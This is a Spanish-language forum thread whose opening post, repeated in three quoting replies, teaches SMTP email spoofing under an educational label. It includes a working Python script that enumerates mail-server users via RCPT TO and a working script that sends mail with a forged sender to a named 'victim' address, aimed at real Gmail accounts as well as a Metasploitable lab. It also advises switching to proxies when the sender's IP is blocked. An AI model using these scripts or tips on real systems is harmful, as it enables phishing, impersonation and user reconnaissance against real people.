Smtp Spoofing. "Envia un correo desde donde quieras"


Este post tiene como objetivo exponer, con un fin educativo, el funcionamiento del protocolo SMTP y como realizar spoofing.

Protocolo SMTP
Para aparentar ser menos script kiddie vamos a entender un poco lo que estamos haciendo, en primer lugar, según el RFC 5321, el protocolo SMPT (Simple Mail Transfer Protocol) es un protocolo independiente del subsitema de transimisión destinado a transferir correo de manera segura y eficiente (como se aprecia el objetivo de uso del protocolo no es complejo ni ampuloso). Está ubicado en la capa de aplicación del modelo OSI y frecuentemente es acompañado en el proceso de envio con los protocolos POP e IMAP en la recepción. Los puertos más frecuentes suelen ser el 25 y 587.

El protocolo, per se, no añade medidas de seguridad, por ello, realizar spoofing en los correos puede ser bastante fácil si se compara con la criticidad del ataque y sus consecuencias.

Procesamiento
El procesamiento que el correo electrónico sigue, de manera superficial, es el siguiente:
  1. El correo se transmite a su proveedor de correo electrónico a través del agente de usuario de correo (MUA) usando smpt.
  2. El servidor transmite el correo al servidor del receptor usando smtp.
  3. Finalmente, el servidor manda el correo al MUA receptor usando IMAP (Internet Message Access Protocol) o POP (Post Office Protocol)
procesamiento.PNG


Funcionamiento
El protocolo consta de tres fases principales: MAIL FROM, RCPT TO y DATA.
  • MAIL FROM: Es el remitente (Return-Path).
  • RCPT TO: Es el destinatario.
  • DATA: Es el contenido del mensaje.
Además, se suele enviar desde el ciente HELO o EHLO para comprobar la conectividad e identificarse.

Ejemplo de envío
Como realmente se aprecia la sencillez del protocolo y sus lagunas de seguridad es en la práctica. Para enviar un correo haré el ejemplo con un cliente y un servidor con el usuario sys. En este caso, estoy utilizando una máquina metasploitable por si quereis recrear lo mismo en una máquina virtual. Con esto ya se podría considerar spoofing.

El envio:
smtp.png


Visto desde la máquina metasploitable:
smtpw.png


Enumeración de Usuarios
Con este ejemplo ya se pueden imaginar algunos vectores de ataque al protocolo, puesto que, al recibir una verificación de si el usuario existe se puede crear un script sencillo que enumere los usuarios del sistema o servicio. Por ejemplo, con una maquina metasploitable con smtp en el puerto 25 se pueden enumerar los usuarios sys, admin y root.

Un script en python para enumerar usuarios (no tengo mucha experencia en python si hay cualquier error comentarlo):

Python:
import sys
import socket
import time

def userrecon(ip, port, user_list):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, int(port)))
    data_server = s.recv(1024)
    data = b'HELO admin\r\n'
    s.send(data)
    data_server = s.recv(1024)
    data = b'MAIL FROM: <[email protected]>\r\n'
    s.send(data)
    s.recv(1024)

    #PASAR USERS Y COMPROBAR
    with open(user_list) as file:
        for user in file:
            user = user.strip()
            data = 'RCPT TO: <' + user + '>\n'
            s.send(data.encode())
            data_server = s.recv(1024).decode()
            if data_server[:3] == '250':
                print(f'[*] Usuario Encontrado: {user}\n')
    time.sleep(0.2)
    s.send(b'QUIT')
    s.close()

def main(argv):
    if len(argv) == 4:
        print(f'\n[*] IP: {argv[1]} | Port: {argv[2]} | User List: {argv[3]}\n')
        userrecon(argv[1], argv[2], argv[3])
    else:
        print(f'\n[X] Uso: python3 {argv[0]} <IP> <PORT>\n')

if __name__ == "__main__":
    main(sys.argv)


Output:
user_recon.PNG


Spoofing
[Debido a las medidas preventivas impuestas para evitar el spoofing el correo llegará a la carpeta de spam. No obstante, se pueden verificar los mecanismo de autenticación de correo (SPF, DKIM, DMARC) mediante técnicas más avanzadas. Además, algunos dominios esyatán bloqueados sin autentificación con DMARC]

Si llevamos todo lo anterior al ámbito del spoofing se puede ejemplificar con un correo desde, por ejemplo, [email protected] hacia un correo gmail.

Para realizar el spoofing es de ayuda programar un script en el lenguaje que prefieras, en este caso, python usando un archivo html para el cuerpo del mensaje (en este caso "hola", no me he complicado mucho xd):

Python:
from smtplib import SMTP
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import sys


def send_smtp(server, mensaje_smtp, victima_mail, template, atacante):
    with open(template, 'r') as f:
        mensaje = f.read().replace('\n', '')
        mensaje_smtp.attach(MIMEText(mensaje, "html"))
        with SMTP(server, 25) as smtp:
            smtp.starttls()
            atacante = f'<{atacante}>'
            smtp.sendmail(atacante, victima_mail, mensaje_smtp.as_string())

def configure(atacante, asunto):
    mensaje_smtp = MIMEMultipart()
    mensaje_smtp['Subject'] = asunto
    mensaje_smtp['From'] = f"<{atacante}>"
    return mensaje_smtp

def main(argv):
    if len(argv) == 6:
        mensaje_smtp = configure(argv[3],argv[4])
        send_smtp(argv[1], mensaje_smtp, argv[2], argv[5], argv[3])
    else:
        print(len(argv))
        print(f"\n[X] Uso: python3 {argv[0]} <server> <mail victima> <correo spoof> <asunto> <template>\n")

if __name__ == "__main__":
    main(sys.argv)

Correo:
IMG_20220424_204404.jpg


Una vez ejecutado el correo será enviado. Si en algún casual os pone que os están restringiendo la IP tirad de proxys o algo.

Un like o retroalimentación en los comentarios se agradece <3
 

mns

make out hill
Burgués de Nodo
Noderador
Nodero
Noder
Excelente y currado, explicación precisa y detallada. Miembros nuevos así, valen la pena.
 
  • Like
Reacciones : hooyu

LinceAzul

Tu lince confiable
Noderador
Nodero
Noder
Este post tiene como objetivo exponer, con un fin educativo, el funcionamiento del protocolo SMTP y como realizar spoofing.

Protocolo SMTP
Para aparentar ser menos script kiddie vamos a entender un poco lo que estamos haciendo, en primer lugar, según el RFC 5321, el protocolo SMPT (Simple Mail Transfer Protocol) es un protocolo independiente del subsitema de transimisión destinado a transferir correo de manera segura y eficiente (como se aprecia el objetivo de uso del protocolo no es complejo ni ampuloso). Está ubicado en la capa de aplicación del modelo OSI y frecuentemente es acompañado en el proceso de envio con los protocolos POP e IMAP en la recepción. Los puertos más frecuentes suelen ser el 25 y 587.

El protocolo, per se, no añade medidas de seguridad, por ello, realizar spoofing en los correos puede ser bastante fácil si se compara con la criticidad del ataque y sus consecuencias.

Procesamiento
El procesamiento que el correo electrónico sigue, de manera superficial, es el siguiente:
  1. El correo se transmite a su proveedor de correo electrónico a través del agente de usuario de correo (MUA) usando smpt.
  2. El servidor transmite el correo al servidor del receptor usando smtp.
  3. Finalmente, el servidor manda el correo al MUA receptor usando IMAP (Internet Message Access Protocol) o POP (Post Office Protocol)
Ver el archivo adjunto 19945

Funcionamiento
El protocolo consta de tres fases principales: MAIL FROM, RCPT TO y DATA.
  • MAIL FROM: Es el remitente (Return-Path).
  • RCPT TO: Es el destinatario.
  • DATA: Es el contenido del mensaje.
Además, se suele enviar desde el ciente HELO o EHLO para comprobar la conectividad e identificarse.

Ejemplo de envío
Como realmente se aprecia la sencillez del protocolo y sus lagunas de seguridad es en la práctica. Para enviar un correo haré el ejemplo con un cliente y un servidor con el usuario sys. En este caso, estoy utilizando una máquina metasploitable por si quereis recrear lo mismo en una máquina virtual. Con esto ya se podría considerar spoofing.

El envio:
Ver el archivo adjunto 19947

Visto desde la máquina metasploitable:
Ver el archivo adjunto 19946

Enumeración de Usuarios
Con este ejemplo ya se pueden imaginar algunos vectores de ataque al protocolo, puesto que, al recibir una verificación de si el usuario existe se puede crear un script sencillo que enumere los usuarios del sistema o servicio. Por ejemplo, con una maquina metasploitable con smtp en el puerto 25 se pueden enumerar los usuarios sys, admin y root.

Un script en python para enumerar usuarios (no tengo mucha experencia en python si hay cualquier error comentarlo):

Python:
import sys
import socket
import time

def userrecon(ip, port, user_list):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, int(port)))
    data_server = s.recv(1024)
    data = b'HELO admin\r\n'
    s.send(data)
    data_server = s.recv(1024)
    data = b'MAIL FROM: <[email protected]>\r\n'
    s.send(data)
    s.recv(1024)

    #PASAR USERS Y COMPROBAR
    with open(user_list) as file:
        for user in file:
            user = user.strip()
            data = 'RCPT TO: <' + user + '>\n'
            s.send(data.encode())
            data_server = s.recv(1024).decode()
            if data_server[:3] == '250':
                print(f'[*] Usuario Encontrado: {user}\n')
    time.sleep(0.2)
    s.send(b'QUIT')
    s.close()

def main(argv):
    if len(argv) == 4:
        print(f'\n[*] IP: {argv[1]} | Port: {argv[2]} | User List: {argv[3]}\n')
        userrecon(argv[1], argv[2], argv[3])
    else:
        print(f'\n[X] Uso: python3 {argv[0]} <IP> <PORT>\n')

if __name__ == "__main__":
    main(sys.argv)


Output:
Ver el archivo adjunto 19948

Spoofing
[Debido a las medidas preventivas impuestas para evitar el spoofing el correo llegará a la carpeta de spam. No obstante, se pueden verificar los mecanismo de autenticación de correo (SPF, DKIM, DMARC) mediante técnicas más avanzadas. Además, algunos dominios esyatán bloqueados sin autentificación con DMARC]

Si llevamos todo lo anterior al ámbito del spoofing se puede ejemplificar con un correo desde, por ejemplo, [email protected] hacia un correo gmail.

Para realizar el spoofing es de ayuda programar un script en el lenguaje que prefieras, en este caso, python usando un archivo html para el cuerpo del mensaje (en este caso "hola", no me he complicado mucho xd):

Python:
from smtplib import SMTP
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import sys


def send_smtp(server, mensaje_smtp, victima_mail, template, atacante):
    with open(template, 'r') as f:
        mensaje = f.read().replace('\n', '')
        mensaje_smtp.attach(MIMEText(mensaje, "html"))
        with SMTP(server, 25) as smtp:
            smtp.starttls()
            atacante = f'<{atacante}>'
            smtp.sendmail(atacante, victima_mail, mensaje_smtp.as_string())

def configure(atacante, asunto):
    mensaje_smtp = MIMEMultipart()
    mensaje_smtp['Subject'] = asunto
    mensaje_smtp['From'] = f"<{atacante}>"
    return mensaje_smtp

def main(argv):
    if len(argv) == 6:
        mensaje_smtp = configure(argv[3],argv[4])
        send_smtp(argv[1], mensaje_smtp, argv[2], argv[5], argv[3])
    else:
        print(len(argv))
        print(f"\n[X] Uso: python3 {argv[0]} <server> <mail victima> <correo spoof> <asunto> <template>\n")

if __name__ == "__main__":
    main(sys.argv)

Correo:
Ver el archivo adjunto 19949

Una vez ejecutado el correo será enviado. Si en algún casual os pone que os están restringiendo la IP tirad de proxys o algo.

Un like o retroalimentación en los comentarios se agradece <3
Locurón, bien explicado, se ve hasta sencillito
 
  • Like
Reacciones : hooyu

roses

Miembro muy activo
Este post tiene como objetivo exponer, con un fin educativo, el funcionamiento del protocolo SMTP y como realizar spoofing.

Protocolo SMTP
Para aparentar ser menos script kiddie vamos a entender un poco lo que estamos haciendo, en primer lugar, según el RFC 5321, el protocolo SMPT (Simple Mail Transfer Protocol) es un protocolo independiente del subsitema de transimisión destinado a transferir correo de manera segura y eficiente (como se aprecia el objetivo de uso del protocolo no es complejo ni ampuloso). Está ubicado en la capa de aplicación del modelo OSI y frecuentemente es acompañado en el proceso de envio con los protocolos POP e IMAP en la recepción. Los puertos más frecuentes suelen ser el 25 y 587.

El protocolo, per se, no añade medidas de seguridad, por ello, realizar spoofing en los correos puede ser bastante fácil si se compara con la criticidad del ataque y sus consecuencias.

Procesamiento
El procesamiento que el correo electrónico sigue, de manera superficial, es el siguiente:
  1. El correo se transmite a su proveedor de correo electrónico a través del agente de usuario de correo (MUA) usando smpt.
  2. El servidor transmite el correo al servidor del receptor usando smtp.
  3. Finalmente, el servidor manda el correo al MUA receptor usando IMAP (Internet Message Access Protocol) o POP (Post Office Protocol)
Ver el archivo adjunto 19945

Funcionamiento
El protocolo consta de tres fases principales: MAIL FROM, RCPT TO y DATA.
  • MAIL FROM: Es el remitente (Return-Path).
  • RCPT TO: Es el destinatario.
  • DATA: Es el contenido del mensaje.
Además, se suele enviar desde el ciente HELO o EHLO para comprobar la conectividad e identificarse.

Ejemplo de envío
Como realmente se aprecia la sencillez del protocolo y sus lagunas de seguridad es en la práctica. Para enviar un correo haré el ejemplo con un cliente y un servidor con el usuario sys. En este caso, estoy utilizando una máquina metasploitable por si quereis recrear lo mismo en una máquina virtual. Con esto ya se podría considerar spoofing.

El envio:
Ver el archivo adjunto 19947

Visto desde la máquina metasploitable:
Ver el archivo adjunto 19946

Enumeración de Usuarios
Con este ejemplo ya se pueden imaginar algunos vectores de ataque al protocolo, puesto que, al recibir una verificación de si el usuario existe se puede crear un script sencillo que enumere los usuarios del sistema o servicio. Por ejemplo, con una maquina metasploitable con smtp en el puerto 25 se pueden enumerar los usuarios sys, admin y root.

Un script en python para enumerar usuarios (no tengo mucha experencia en python si hay cualquier error comentarlo):

Python:
import sys
import socket
import time

def userrecon(ip, port, user_list):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, int(port)))
    data_server = s.recv(1024)
    data = b'HELO admin\r\n'
    s.send(data)
    data_server = s.recv(1024)
    data = b'MAIL FROM: <[email protected]>\r\n'
    s.send(data)
    s.recv(1024)

    #PASAR USERS Y COMPROBAR
    with open(user_list) as file:
        for user in file:
            user = user.strip()
            data = 'RCPT TO: <' + user + '>\n'
            s.send(data.encode())
            data_server = s.recv(1024).decode()
            if data_server[:3] == '250':
                print(f'[*] Usuario Encontrado: {user}\n')
    time.sleep(0.2)
    s.send(b'QUIT')
    s.close()

def main(argv):
    if len(argv) == 4:
        print(f'\n[*] IP: {argv[1]} | Port: {argv[2]} | User List: {argv[3]}\n')
        userrecon(argv[1], argv[2], argv[3])
    else:
        print(f'\n[X] Uso: python3 {argv[0]} <IP> <PORT>\n')

if __name__ == "__main__":
    main(sys.argv)


Output:
Ver el archivo adjunto 19948

Spoofing
[Debido a las medidas preventivas impuestas para evitar el spoofing el correo llegará a la carpeta de spam. No obstante, se pueden verificar los mecanismo de autenticación de correo (SPF, DKIM, DMARC) mediante técnicas más avanzadas. Además, algunos dominios esyatán bloqueados sin autentificación con DMARC]

Si llevamos todo lo anterior al ámbito del spoofing se puede ejemplificar con un correo desde, por ejemplo, [email protected] hacia un correo gmail.

Para realizar el spoofing es de ayuda programar un script en el lenguaje que prefieras, en este caso, python usando un archivo html para el cuerpo del mensaje (en este caso "hola", no me he complicado mucho xd):

Python:
from smtplib import SMTP
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import sys


def send_smtp(server, mensaje_smtp, victima_mail, template, atacante):
    with open(template, 'r') as f:
        mensaje = f.read().replace('\n', '')
        mensaje_smtp.attach(MIMEText(mensaje, "html"))
        with SMTP(server, 25) as smtp:
            smtp.starttls()
            atacante = f'<{atacante}>'
            smtp.sendmail(atacante, victima_mail, mensaje_smtp.as_string())

def configure(atacante, asunto):
    mensaje_smtp = MIMEMultipart()
    mensaje_smtp['Subject'] = asunto
    mensaje_smtp['From'] = f"<{atacante}>"
    return mensaje_smtp

def main(argv):
    if len(argv) == 6:
        mensaje_smtp = configure(argv[3],argv[4])
        send_smtp(argv[1], mensaje_smtp, argv[2], argv[5], argv[3])
    else:
        print(len(argv))
        print(f"\n[X] Uso: python3 {argv[0]} <server> <mail victima> <correo spoof> <asunto> <template>\n")

if __name__ == "__main__":
    main(sys.argv)

Correo:
Ver el archivo adjunto 19949

Una vez ejecutado el correo será enviado. Si en algún casual os pone que os están restringiendo la IP tirad de proxys o algo.

Un like o retroalimentación en los comentarios se agradece <3
Eso lo hice yo en clase, pero con el script llega a lo que es la carpeta spam finalmente no?
 
  • Like
Reacciones : hooyu

hooyu

Miembro
Eso lo hice yo en clase, pero con el script llega a lo que es la carpeta spam finalmente no?
Sí, usando el servidor smtp gmail-smtp-in.l.google.com y siendo el destinatario un cliente de gmail el correo debe pasar los estándares SPF, DKIM, y DMARC. En este caso, el SPF lo marca como neutral pero los demás mecanismos para evitar el spam y spoofing no. No sé si hay forma de bypassear actualmente, pero hay un paper y una herramienta en github que pueden servir de ayuda si quieres profundizar.
 
  • Fueguito
  • Like
Reacciones : mns y obtuso

Dark

🔥root313🔥
Staff
Moderador
Paladín de Nodo
Jinete de Nodo
Burgués de Nodo
Noderador
Nodero
Noder Pro
Noder
Por favor, no te vayas, quedate, hacía tiempo que no veía un post tan currado Y DE INFORMÁTICA :(
 
  • Like
Reacciones : hooyu